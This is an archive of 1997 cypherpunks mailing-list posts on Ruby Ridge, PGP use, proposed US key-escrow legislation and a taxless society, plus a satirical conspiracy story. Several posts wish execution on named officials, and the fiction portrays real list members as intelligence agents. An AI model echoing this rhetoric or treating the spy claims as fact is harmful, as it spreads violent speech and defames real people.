>At 04:28 PM 9/10/97 -0700, Declan McCullagh wrote:
>
>>	The FBI will continue to stand behind Lon Horiuchi, an FBI
>>sharpshooter charged last month by local authorities with involuntary
>>manslaughter for the shooting death of Vicky Weaver, wife of white
>>supremacist Randy Weaver, during a deadly standoff in Idaho, Freeh said.
>>	"We fully support him," Freeh said. "It was a horrible tragedy. It
>>was a mistake on his part, but we believe he was acting as he was trained
>>to do. He was within the scope of his authority. ... He reasonably
>>believed at the time that what he was doing was proper."
>
>	"Just following orders"... where have I heared that before?

Ah, but the difference is that we haven't yet seen Louis Freeh being led
into the same gas chamber that the Israelis used to send Eichmann to
justice.

History is written by the winners. Had the Nazis won the Second World War,
it would have been U.S. generals and leaders of the World Zionist Congress
who would have have been tried and executed.

Too soon to tell whether it'll be Freeh and Reno swinging from the end of a
rope, or folks like us.

I wonder how the SS at Stanford will react to my "Death Penalty for Waco
Commander in Chief!" placard?

(Such a placard being a free speech statement of what justice I expect for
the Ruby Ridge and Waco Commander in Chief, not a personal threat.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Warpy <warpy@sekurity.org>
Date: Fri, 12 Sep 1997 01:58:41 +0800
To: Zooko Journeyman <zooko@xs4all.nl>
Subject: Re: How to use PGP without wasting your time
In-Reply-To: <199709111559.RAA00536@xs1.xs4all.nl>
Message-ID: <Pine.LNX.3.96.970911113009.19143A-100000@obscure.sekurity.org>
MIME-Version: 1.0
Content-Type: text/plain



A pgp key without a passphrase? Next you'll be saying key escrow aint such
a bad idea...

Warpy

---------------------------------------------------------------------
| http://suburbia.com.au/~warpy                                     |
| Key Fingerprint: 85 17 4A E3 0C C5 BB 24  36 22 BB A6 E8 41 D5 95 |
| Email: warpy@sekurity.org                                         |
---------------------------------------------------------------------
On Thu, 11 Sep 1997, Zooko Journeyman wrote:

> The trick is:
> 
> 1. don't go overboard with security.  For example, I sometimes
> use PGP keys without passphrases.  This is secure _enough_ for
> my more innocuous messages, and it is a lot more convenient.
> 
> 2. get a scriptable/configurable e-mail agent which you can
> train (or have me or some cypherpunk train) to do PGP for you 
> automagically.
> 
> 
> Regards,
> 
> Zooko, Journeyman Cryptorebel
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Fri, 12 Sep 1997 02:45:14 +0800
To: cypherpunks@cyberpass.net
Subject: "Thewer Thites" of the WWW
Message-ID: <19970911183409.17850.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



For those who are following the CPAC/Sewer frivolities, there is now
a parody of Mike Paladino's "Sewer Site" at...

         http://www.darktimes.com/thewer/

This was apparently done by "Stereotype", the editor of Darktimes
magazine, whom Paladino has been libeling for the past several weeks
on the real Sewer Site. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Warpy <warpy@sekurity.org>
Date: Fri, 12 Sep 1997 02:36:11 +0800
To: cypherpunks@toad.com
Subject: Taxless society concerns
Message-ID: <Pine.LNX.3.96.970911115906.19445B-100000@obscure.sekurity.org>
MIME-Version: 1.0
Content-Type: text/plain



I've  been reading some of the various "manifesto's" and "rants" lately
advocating societies free of government, taxes, etc. Whilst I agree in
principal with some of the subjects/proposals raised, there are still a
few things that have not been (i feel) adequately answered.

First off. In such a society, who cares for the old, the sick, and the
infirm? How is such care going to be payed for? How will basic services be
maintained without the necessary taxes required to pay for them? 

Now before you start yelling at me and calling me a government
sympathiser, let me say that i am disgusted at the amount of money spent
by governments around the world on military equipment and personnel. If
such a taxless society were to eventuate there would be *hopefully* that
much more money floating around to help those who need it most.

But the question remains. In such a taxless society, and little or no
government, how are those less fortunate than us going to be cared for?

Warpy

---------------------------------------------------------------------
| http://suburbia.com.au/~warpy                                     |
| Key Fingerprint: 85 17 4A E3 0C C5 BB 24  36 22 BB A6 E8 41 D5 95 |
| Email: warpy@sekurity.org                                         |
---------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Mynott <stevey@webmedia.com>
Date: Thu, 11 Sep 1997 19:36:59 +0800
To: "cypherpunks@toad.com>
Subject: Netscape browser crypto
Message-ID: <3417D3FD.7EE214DC@webmedia.com>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3984.1071713730.multipart/signed"

--Boundary..3984.1071713730.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

I notice Netscape 4 has support for "cryptographical modules" and comes
with PKCS#11 module.  Are there any third party modules (PGP?)
available?

Also is it possible to import certificates (PGP?) into the browser so
you aren't stuck with Verisign et al. 

-- 
Steve Mynott, work: http://webmedia.com/ +44 171 317 1341         ---- 
strange: http://machine-elves.com/    mobile: 0956 265761        | \_|_\
pegwit v8 public key = \                                         |_|_| |
cbecf90546ea12b28de9e6fdbb956ee8cf83bbcd63726a93643f44a474acdfb9  \|__\|

--Boundary..3984.1071713730.multipart/signed
Content-Type: application/octet-stream; name="bin00000.bin"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="bin00000.bin"
Content-Description: "S/MIME Cryptographic Signature"

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--Boundary..3984.1071713730.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: croughs <croughs@noord.bart.nl>
Date: Fri, 12 Sep 1997 01:37:38 +0800
To: cypherpunks@toad.com
Subject: encrypting images
Message-ID: <3417CC1A.783A@noord.bart.nl>
MIME-Version: 1.0
Content-Type: text/plain



Is it possible to encrypt images using PGP?
---------------
http://www.noord.bart.nl/~croughs
http://www.pi.net/~freedom






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 12 Sep 1997 04:24:45 +0800
To: Hiawatha Bray <wathab@tiac.net>
Subject: The problem of playing politics with our constitutional rights
In-Reply-To: <01BCBEC8.8E34E8A0.wathab@tiac.net>
Message-ID: <Pine.GSO.3.95.970911124811.12105H-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



The Commerce Committee got a two-week extension from the Speaker...

Now, is this good or bad news for crypto? Not sure if it's bad news, but
it's far from necessarily good news. The Eavesdrop Establishment is
swarming on Capitol Hill right now. The staff on Intelligence are
jubilant. Goodlatte may be standing firm, based on what other journalists
and his staff tells me, but other supposed friends of freedom (including
one fellow who's a guest speaker at a forthcoming Cato conference) are
talking about more crypto-in-a-crime restrictions. The Commerce Committee,
I'm told, got briefed by Freeh in a closed-door hearing yesterday evening
without staff present.

This, as I've said for months, is the problem of playing politics with our
constitutional rights.

-Declan


On Thu, 11 Sep 1997, Hiawatha Bray wrote:

> Till when, Declan?  And do you know why, perchance?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 12 Sep 1997 01:41:44 +0800
To: cypherpunks@toad.com
Subject: Re: in defense of Lon Horiuchi
Message-ID: <1946b586e2a06b65e46128cc5588d075@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Zooko Journeyman wrote:
> 
>  Anonymous <anon@anon.efga.org> mumbled:
> >
> > It's amazing that Freeh would admit that shooting an unarmed
> > woman holding an infant is what "he was trained to do" and was "within
> > the scope of his authority" and that he "reasonably believed [it] was
> > proper" to do so.  What are they teaching at FBI school nowadays?
> >
> > Horiuchi's defense is really no different than Timothy
> > McVeigh's: "yes, it was a mistake but he felt it was justified and
> > reasonably believed at the time that what he was doing was proper..."
> > Too bad McVeigh didn't have a badge saying FBI on it.
> 
> Lest any naive readers who aren't familiar with the details of
> the event buy this kind of spin-doctoring, please be aware that
> the woman in question was probably not visible to the sniper,
> and it is almost certain that he was aiming at her armed
> husband who was shooting back.  The bullet travelled through a
> door or some such obstruction I think (I forget the details)
> before hitting the victim.

Zooko fails to take into consideration that the FBI's role in the
affair was to back the unnecessary fascist actions of those who
had decided it was their right to interfere in the life of a family
which was largely minding their own business and seeking to live 
their lives free from constant subjection to a wide variety of often
senseless and/or meaningless, arbitrary laws.

Truthmonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 12 Sep 1997 05:01:55 +0800
To: cypherpunks@toad.com
Subject: Janet Reno talks crypto with Al Gore
Message-ID: <Pine.GSO.3.95.970911133320.12105L-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Said during Atty Gen Janet Reno's weekly media
availability on September 5, 1997:

Q     Excuse me.  Thank you.  We started this morning
with a reference to the unfortunate death of the
princess of Wales.  As you're aware, in the wake of
that, there have been various calls - expressions of
concern about the privacy of individuals, of
celebrities, primarily, and various people discussing
a possible need for laws to protect people.  Do you
see that as a realistic discussion?  Is there any - as
a law enforcement officer, can you see any way that
individual celebrities can be protected legislatively,
legally, or is this just something that has to be
solved socially, culturally?

ATTY GEN. RENO:  I we're going to have to look at it
and solve it in common-sense ways.  I think it's very
difficult to legislate something like that.  But I
think it is important for all of us, no matter what
our role, to be respectful of other people's privacy.
And I think this is an instance where it has given us
all cause to look at it and to ponder how we can deal
with this issue.

Q     Ms. Reno, how often do you speak with Vice
President Gore on legal or law enforcement issues? And
how would you characterize the relationship that
you've had with him?

ATTY GEN. RENO:  I have spoken with him on encryption
issues with regards to law enforcement.  That is, I
think, one of the principal issues that I have
discussed with him - not recently.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Fri, 12 Sep 1997 02:56:21 +0800
To: croughs <croughs@noord.bart.nl>
Subject: Re: encrypting images
In-Reply-To: <3417CC1A.783A@noord.bart.nl>
Message-ID: <3.0.3.32.19970911143351.033a12b8@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 12:46 PM 9/11/97 +0200, croughs wrote:
>Is it possible to encrypt images using PGP?

PGP will encrypt any file.  The win95 version allows you to do it with one 
click of a mouse button from explorer, as PGP becomes fully integrated into 
Win95.

Some notes about PGP5.0 for Win95...  later versions of the Eudora/PGP 
product do not support RSA, only DSS keys.  To fix this and get it back to 
the functionality of the beta versions, you can purchase a PGP RSA module for 
$5 directly off of the PGP web site.

I'm testing the PGP5.0/RSA against various Linux versions and getting mixed 
reviews on how well it works.  But some of these problems seem to be operator 
error, and overall pgp5.0 is working well.


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQBVAwUBNBg5jEGpGhRXg5NZAQGUgwH/Z1cFZhhylQWShYJQywAHi8a+SislOHyQ
FBTqA1XxHFWduXm8z2Owgu4o7wCvMRQMkfGZY8HGEQkJof5BzjuFZw==
=34RW
-----END PGP SIGNATURE-----

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chip Mefford <cmefford@avwashington.com>
Date: Fri, 12 Sep 1997 02:55:41 +0800
To: cypherpunks@toad.com
Subject: Re: in defense of Lon Horiuchi
In-Reply-To: <199709111616.SAA13376@xs2.xs4all.nl>
Message-ID: <v03102803b03df084f1a8@[207.79.65.77]>
MIME-Version: 1.0
Content-Type: text/plain



snip snip snip snip

>stories without reading the more balanced accounts yourself.
>Anonymous, above, would _like_ you to think of the FBI sniper
>Lon Horiuchi as a murderous baby-killer who chuckled gleefully
>when he saw his opportunity to take out a toddler.
>
>Regards,
>
>Zooko, Journeyman Engineer


Dear Zooko;

I dunno much about cypherpunking, I dunno much about much at all,
I do know a little about marksmanship, I do know a little about
countersniping, I do know a little about use-of-force.

The marksman in question fired -we are led to belive- without being
certain of his target.

This is contrary to all aspects of this type of shooting.

Either the marksman in question is a murderer, or he made a very very very
very very very very very bad judgement call that he has been trained in
probably hundreds of hours of instruction, NOT TO MAKE.

Manslaughter is when you get something in your eye while driving and run
down a bicyclist. Not when you recive hour opon hour opon hour of training
in long distance sniping and hour opon hour opon hour of shoot/no shoot
scenario training and hour opon hour opon hour of use-of-force briefings,
and you STILL shoot.

Thats not manslaughter, thats something else entirely.

When you recieve your training in these matters, you are told quite clearly
tha t the action you take that adds up to the time between 1/20th to 1/10th
of a second that it takes to actually "take the shot" will be reviewed and
second guessed by very many people with hours and hours to think about it,
therefore one had better be pretty damned certain of ones target before
committing that shot.

better be DAMNED certain.

Even dumb ole me, who ain't no crack shot, with one of those nifty (off the
shelf) Styer-Mannlicher countersniper rifles with the neato Zeiss
autoranging scope was able to punch a coke can 5 for 5 after one ranging
(cheater) shot at 600 meters. I'm told that the FBI has much nicer rifles
than that. And I ain't trained.

(couldn't hit the Mountain Dew can, couldn't see it)

luv
chipper


     Zz
      zZ
   |\ z    _,,,---,,_
   /,`.-'`'    _   ;-;;,_
  |,4-  ) )-,_..;\ (  `'_'
 '---''(_/--'  `-'\_)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 12 Sep 1997 06:08:42 +0800
To: cypherpunks@toad.com
Subject: RSAC shelves news rating, bowing to criticism from journalists (fwd)
Message-ID: <Pine.GSO.3.95.970911145235.12105W-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 11 Sep 1997 14:51:57 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: RSAC shelves news rating, bowing to criticism from journalists

---

http://www.news.com/News/Item/0,4,14139,00.html

RSAC shelves news rating
By Tim Clark and Courtney Macavinta
September 10, 1997, 5:55 p.m. PT

	WASHINGTON, D.C.--The Recreational Software Advisory
	Council, which has created an Internet ratings
	system for Web sites, has put its controversial plan
	to create a special label for news-oriented sites
	on hold.

	RSAC's decision came after resistance from news
	organizations, particularly from established players
	in offline media, which raised First Amendment
	concerns about the so-called "N" label.

	"We are not aggressively pursuing the 'N' label at
	this time," RSAC executive director Stephen Balkam
	told CNET's NEWS.COM.

	Earlier this year, RSAC asked the Internet Content
	Coalition (ICC)--whose members include technology,
	entertainment, and online news companies--to develop
	guidelines outlining who should be able to use the
	label, which was designed to circumvent browsers
	that screen violent or sexual Net sites by "reading"
	the voluntary ratings. (See related story)

	But during an August 28 meeting organized by the ICC,
	most news sites declared that they wouldn't rate
	their content or use a news label. With the ICC
	votes in, RSAC essentially lost its market for the
	label.

	"We will pursue discussions with other potential
	partners," Balkam said. "We might talk to mainstream
	press, we might talk to international press. We are
	conducting a thorough review of the issue."

[...]







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 12 Sep 1997 04:43:08 +0800
To: Warpy <cypherpunks@toad.com
Subject: Re: Taxless society concerns
In-Reply-To: <Pine.LNX.3.96.970911115906.19445B-100000@obscure.sekurity.org>
Message-ID: <v03110734b03df19e69ce@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:10 pm -0400 on 9/11/97, Warpy wrote:


> First off. In such a society, who cares for the old, the sick, and the
> infirm?

You do.

> How is such care going to be payed for?

With money.

> How will basic services be
> maintained without the necessary taxes required to pay for them?

With some more money.

Any other questions?

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Fri, 12 Sep 1997 03:41:25 +0800
To: cypherpunks@toad.com
Subject: Re: House Intel Committee Approves Sweeping New Crypto Restrictions... (fwd)
Message-ID: <Pine.GSO.3.95.970911152250.22658C-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 11 Sep 1997 15:19:02 -0400 (EDT)
From: Declan McCullagh <declan@pathfinder.com>
To: fight-censorship@vorlon.mit.edu
Subject: Re: House Intel Committee Approves Sweeping New Crypto Restrictions...

The House Commerce Committee markup was postponed.

-Declan



On Thu, 11 Sep 1997, Jonah Seiger wrote:
> PS - we are also awaiting word from the House Commerce Committee -- expect
> more soon.
> 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ahoier@juno.com (CYPHER ? PUNK)
Date: Sat, 13 Sep 1997 10:21:30 +0800
To: cypherpunks@toad.com
Subject: Re: PGP Signatures
In-Reply-To: <19970831.135647.9558.12.ahoier@juno.com>
Message-ID: <19970912.214414.8862.2.ahoier@juno.com>
MIME-Version: 1.0
Content-Type: text/plain



Could somebody tell me what the CLUE SERVER is cause I tryed to search it
in Yahoo! but they didn't give me anything on CLUE SERVER so could
somebody e-mail me and tell me where the CLUE SERVER is located
PLEASE!!!!!!!  Also could somebody give me more info on PGP
Signatures??????  If somebody could download the software for me Id be
real HAPPY:-))))((((-:  COuls somebody tell me if I can just upload my
PGP Signature to my E-MAIL or do i have to put it on my hard drive
because the Computer ain't mine so I dont wanna put something on my
brothers hard drive so could somebody give me some more info????????????


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
MessageID: HyRMcbGm8DN7BxUVL/6EunpyDLmTX8Wj

iQA/AwUBNAneIl7MfpC8gEO7EQIOIgCeM6giFdXXS1Idut3q941mSEEc8CAAoITk
142XgrvDAUe3CMwH4jTRiJZi
=jvrj
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 12 Sep 1997 07:05:37 +0800
To: "fight-censorship@vorlon.mit.edu>
Subject: More on House Intelligence committee amendment on crypto
In-Reply-To: <01BCBEC8.8E34E8A0.wathab@tiac.net>
Message-ID: <Pine.GSO.3.95.970911152027.12105Z-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



So I'm reading through the 43-page amendment to SAFE that the House
Intelligence committee approved today. It includes: 

* Ban on sale of crypto without a backdoor. Five year & fine (maybe
$250,000?) if violated. Prosecutions can be held in closed-door
courtrooms, publishers of info about case to be held in contempt of court.

* Federal government computer purchases must use key escrow "immediate
decryption" after 1998. Same with network established w/Federal funds.

* Such products can be labeled "authorized for sale to U.S. government"

* U.S. government may "not mandate the use of encryption standards" for
the private sector

* Export decisions aren't subject to judicial review

* Defense & Commerce have controls of exports of crypto

* Establishes Encryption Industry and Information Security Board

* Internet providers, key recovery centers aren't liable if they turn over
keys following legal standards

* President can negotiate int'l agreements, perhaps punish noncompliant
governments

I'm still reading... More details shortly...

-Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec McCrackin <camcc@abraxis.com>
Date: Fri, 12 Sep 1997 04:48:46 +0800
To: cypherpunks@toad.com
Subject: InfoWar (6) / Part III of The True Story of the InterNet
Message-ID: <341851FC.99144382@abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain



Title: The True Story of the Internet Part II






The True Story of the InterNet

Part III


InfoWar

Final Frontier of the Digital Revolution

Behind the ElectroMagnetic
Curtain


by TruthMonger <tm@dev.null>




Copyright 1997 Pearl Publishing



InfoWar Table of Contents

McCrackin (MI9) 



McCrackin (MI9)


Alec McCrackin sat back puffing on his pipe and sipping cognac
from a small, crystal goblet.

His handlers at MI8, the secret UK security arm of the secret
world government, were pleased with his progress to date. He had
infiltrated both the CypherPunks and the Circle of Eunuchs.  What's
more, he had been successful in bringing another member of MI8,
Adam Back, who was already an established and respected CypherPunk,
into the inner fold of the Magic Circle, as well.
McCrackin's handlers were elated at being able to inform their
Bavarian superiors that they were now in position to thwart any
attempt by either group to provide any serious amount of resistance
to the outlawing of strong encryption worldwide, total access
to all government, corporate and private information, and complete
dominion over the InterNet.

Of course, his handlers were not aware of his membership in an
even more secretive agency which was being run right under their
noses at Scotland Yard...MI9.

When someone purporting to be the Author showed up on the CypherPunks
list, releasing Part II of 'The True Story of the InterNet,' MI8
had gone totally ape-shit, thinking that the Circle of Eunuchs
had out-maneuvered them, and already had agents in place, waiting
for the go-ahead to offer to work with the CypherPunks in the
battle against the New World Bitmap being planned for them.
MI9 knew the 'true story,' however... McCrackin laughed at
his own private joke.

The Circle of Eunuchs had been hunted by Gomez and the Dark Allies
since 1989, when those who became privy to the grand designs of
the Evil One had to scatter, and hide in small, separate guerrilla
cells throughout society and the computer industry. The work of
disseminating "The Xenix Chainsaw Massacre" manuscript
throughout the underground web of people capable of recognizing
the dark threat to humankind, was done by isolated individuals,
working together only for short periods, linked by the thin threads
that joined each separate cell of the Magic Circle.
Some of them naturally gravitated toward the CypherPunks mailing
list after its inception, recognizing kindred spirits therein,
but they were careful to remain in the background, knowing that
any connection to the Circle of Eunuchs would bring grave danger
to the CypherPunks, who were already the focus of a large amount
of attention from the Dark Forces and their earthly minions scattered
throughout the intelligence agencies of all nations. Spooks, spies,
pawns and shills, who eventually became the majority in the membership
of the list.

The initial fears of MI8, when the man subtly indicating that
he was the Author showed up on the CypherPunks list, had quickly
turned to relief when it became obvious that the man was nothing
more than a highly unstable, psychotic drunkard with illusions
of grandeur. The fact that the man quickly became the a major
annoyance to the others on the list, hated by some members even
as much as the infamous, evil Dr. Dimitri Vulis, served to further
confirm MI8's opinion that they had little to worry about, and
much to gain, by the erratic, unpredictable actions of this CypherPain
in the CypherAss.

McCrackin shook his head, laughing silently at the imbeciles in
charge of handling MI's spooks in the encryption arena. Had they
even bothered to read Part I of 'The True Story of the InterNet?'
Surely they had pored over Part II, "WebWorld & the Mythical
Circle of Eunuchs." It had been released first on the CypherPunks
list, chapter by chapter.

Excerpt from "WebWorld":

It seems that "The Xenix Chainsaw Massacre",
an obscure and cryptic manuscript that had started the whole mythological
legend of the Magic Circle, had been traced in origin to a small
computer company in Tucson, Arizona, located in the Southwestern
region of the United States of America. 
The company turned out to be a one-man operation named "Pearl
Harbor Computers, Inc.", run by a Canadian 'frostback' whose
mentality lay somewhere along the borderline between 'terminal
inebriation' and the 'lunatic fringe'. Pearl Harbor's company
motto was "We've been bombed since 1941". 


Alec McCrackin laughed like a loon when he recalled the words
of his handlers at MI8.
"Go ahead and work with the crazy, drunken bastard. He
certainly poses no threat, and can probably be quite useful to
us, in the long run."
When "InfoWar" began being released, it only confirmed
their suspicions that they had been the recipients of a divine
gift from the Evil One, a fucking drunken lunatic whose grandiose
psychosis could be used as a tool to infiltrate the Circle of
Eunuchs and drive a wedge between them and the CypherPunks, if
there indeed was any secret, unknown connection between the two
groups.

McCrackin's superiors at MI9, however, recognized the significance
immediately.
"Alec, would you say that the man's mentality lays, 'somewhere
along the borderline between "terminal inebriation"
and the "lunatic fringe?"'"

Alec reckoned as how it did...
Unbeknownst to the rest of the spooks on the list, they had the
Author in the palm of their hand, to work like a fish on a hook
and line.

And sinker...McCrackin reminded himself.
Before this was all over, the Author would have to be thrown to
the wolves.

Regardless, they had to work with him for the present, and the
fact that Magic Circle members from the future had chosen to throw
the ball to him for keeping some semblance of structure in the
release of Part III, presented a 'bit of a sticky wicket' as Bubba
Rom Dos was prone to say.

"Damn. That fucking Peter Trei." Alec said aloud.

He had called for Trei's elimination when his work on software
for the RC5 Crack effort had come dangerously close to exposing
MI9's back door into the encryption system. When Trei had bypassed
the back door in favor of taking a different approach, McCrackin's
superiors overruled him.

Now it turned out that their light scrutiny of Peter Trei, thinking
him to be just an above average, but boring, number-cruncher,
had been a serious mistake. It was unclear, as of yet, what technology
the Trei Transponder was based on, but it gave the Circle of Eunuchs
of the future a link to the Author, and that was a dangerous
situation.
Fortunately, MI9's scientists had enough of an idea of how the
technology would have to operate, that they were able to add enough
gamma-ray interference to the mix to cause a back-flow of the
Author's unstable mental and emotional state into those attempting
to handle him from the future.

But Alec needed to find some way to give a minimal order and structure
to the process of the release, without raising the hackles of
the highly independent CypherPunks and Magic Circle initiates.
At least he could count on Dave Smith, at Bureau42, to help make
sense of things if they got to be too big a mess.
McCrackin wasn't terribly suprised when Bureau42 stepped forward
to give Part III an immediate home. MI8 had investigated his site
when Bureau42 put Parts I & II on their site and wrote them
off as a bunch of harmless young hackers. Alec, however, had done
 more in-depth research regarding who they were and their external
connections, quickly finding that they had hidden capabilities
that made them a force which it was best to tread lightly around.

He had assumed, at the time, that Bureau42 was another branch
of MI9, and now it looked like he was right.

There wasn't really much that needed to be said, in terms of the
mechanics of the release of Part III. It would be nice if those
contributing would follow the HTML format and stay close to the
theme being developed, but it was not essential, by any means.

Provision had been made for any CypherPunks who wanted to directly
contribute completed chapters to Part III to stamp them with their
own copyright notices so that there was no question of someone
else unfairly profiting from their contribution. For members of
the Magic Circle, this didn't present a problem, since the bizarre
nature of the manuscripts, as well as the voluminous obscenity
contained therein, made them highly unsuitable for anything but
their original purpose...to serve as a prophetic warning for
those who had ears to hear.

The CypherPunks, more than anyone, understood this concept at
this important nadir point in time. For years, they had been a
voice crying in the wilderness, for the most part, telling those
who cared to listen about the dark future that would come upon
them if they failed to open their eyes to what was taking place
in their government and in the society around them.
Now, as their concerns were quickly becoming the concerns of all
those still interested in freedom and privacy, it was close to
being too late to do anything about it.

More and more, the CypherPunks were realizing the need for immediate,
and perhaps drastic, action.

Enter...the Author.

Alec McCrackin laughed uproariously as he tamped down a fresh
pipe and refilled his goblet with Cognac. He knew what neither
MI9 nor Bubba Rom Dos, himself, knew.
The madman waiting silently in the Motel room to slaughter the
Author with a Stihl chainsaw, mistakenly dismembering one of the
Shadow's henchmen, instead, was the Author!

McCrackin always found this to be the supreme irony of the long,
tangled trail of mystery and intrigue which had surrounded the
Magic Circle from its inception.
Those expending vast amounts of financial resources and manpower
in a desperate search for the Author had always come up empty,
because the most likely candidates all turned out to be the most
unlikely of persons to have written such a far-reaching, prophetic
manuscript.
Even C.J. Parker, the King of Country Porno and President of Pearl
Harbor Computers, was never confirmed to be the true Author of
the original Manuscript of TXCSM. In fact, there was substantial
evidence to point to this being impossible.

McCrackin, however, knew something that no one else in the investigation
had ever managed to uncover. The Author was a certified, rubber-stamped,
full-blown schizophrenic.
The reason none of the 'suspects' ever quite fit the profile,
was that there was no profile to match to. The man was
a genuine lunatic, capable of chameleon-like deception, not by
virtue of his brilliance, but by virtue of the fact that he did
not, in fact, realize that he was not really the various personas
that he was assuming.
He was a loose-cannon that would eventually have to be
discarded, but Alec had been successful in gaining his confidence
and manipulating him in the proper directions, up to now. And,
very soon, it wouldn't really matter, because...as Jonathan
had so quickly and astutely determined...he was expendable.

So, for now, he would serve as a useful tool to continue producing
the final proofs of the chapters of Part III. That way, those
who had something to contribute, but who lacked the editing tools
or writing skills to produce a suitable product, could send their
contributions through him, if need be, for final editing, and
still retain any copyrights they wished to hold onto. That would
also allow McCrackin to influence the final output of the main
body of the manuscript.

Alec's superiors at MI9 were also impressed with his suggestion
that they take the subtitles of the manuscript and turn them into
links to the main body of text, to be used for providing more
in-depth information in regard to some of the more technical details
of the work, and give a forum for contributions which were highly
relevant, but which did not fit into the flow of the main body
of the work.

Final Frontier of the Digital Revolution

This would serve nicely as a repository for technical treatises,
discussions, list posts and pointers providing more in-depth details
and concepts of the issues being addressed.

Behind the ElectroMagnetic Curtain

Alec saw this as a good place for CypherPunks and
CoE's to provide a compendium of information outlining the reality
of the Jackboots of the Evil One quickly descending at an increasingly
rapid rate around the Globe.
It was the sheer volume of daily new information in this regard
that had finally driven the Author to madness, at the same time
that it drove him to haphazardly launch Part III of 'The True
Story of the InterNet' as "Space Aliens Hide My Drugs."
The task was far beyond the ken of his abilities, or anyone else's.
For once, it might even be beyond the reach of the Circle of Eunuchs
to provide a true mirror of the horrors that lay ahead if civilization
continued on its present course of  submission to the automaton
within...even if the CypherPunks chose to jump into the fray
to add their wide ranging technological expertise, discriminating
intellects, and commitment to the ideals of freedom, privacy,
liberty, free speech and self-determination.

Alec McCrackin thought of the irony of the Author, who had begun
the myth of the Magic Circle, being caught up unwittingly in its
creation from the ashes of mythology, and now facing becoming
the human symbol of the Circle of Eunuchs becoming an expendable
entity, if need be, in order to pass the torch on, or meld with,
others who might be in a better position to carry the torch of
freedom into the arena of the real world, where it was quickly
being extinguished at every turn.

"The Rules of InfoWar." McCrackin intoned solemnly
and silently.

No, despite a lifetime of experience in waging the secret wars
that society's citizens knew precious little about, Alec knew
that he had nothing substantial to contribute to providing a structure
to a process which would only succeed by being pliant and flowing,
like the Tao.

It was up to the individuals who comprised the Circle of Eunuchs
and the CypherPunks, and all those who still cared about freedom
and liberty, to pick up whatever piece of the broken torch of
 basic human rights that they felt they could carry, and do their
part to try to make it whole, once again.

Alec thought it would be fitting for the members of the Magic
Circle to copyright their contributions under "TruthMonger
<name@address>" and for the CypherPunks to copyright
theirs under their traditional symbol of "Anonymous
<name@address>. 
He found it difficult to decide which form to use for his own
contribution. Finally, he decided to tell it like it was.

Copyright "AnonymousTruthMonger <camcc@abraxis.com>


"The Xenix Chainsaw Massacre"

"WebWorld & the Mythical Circle of Eunuchs"

"InfoWar (Part III of 'The True Story of the InterNet')





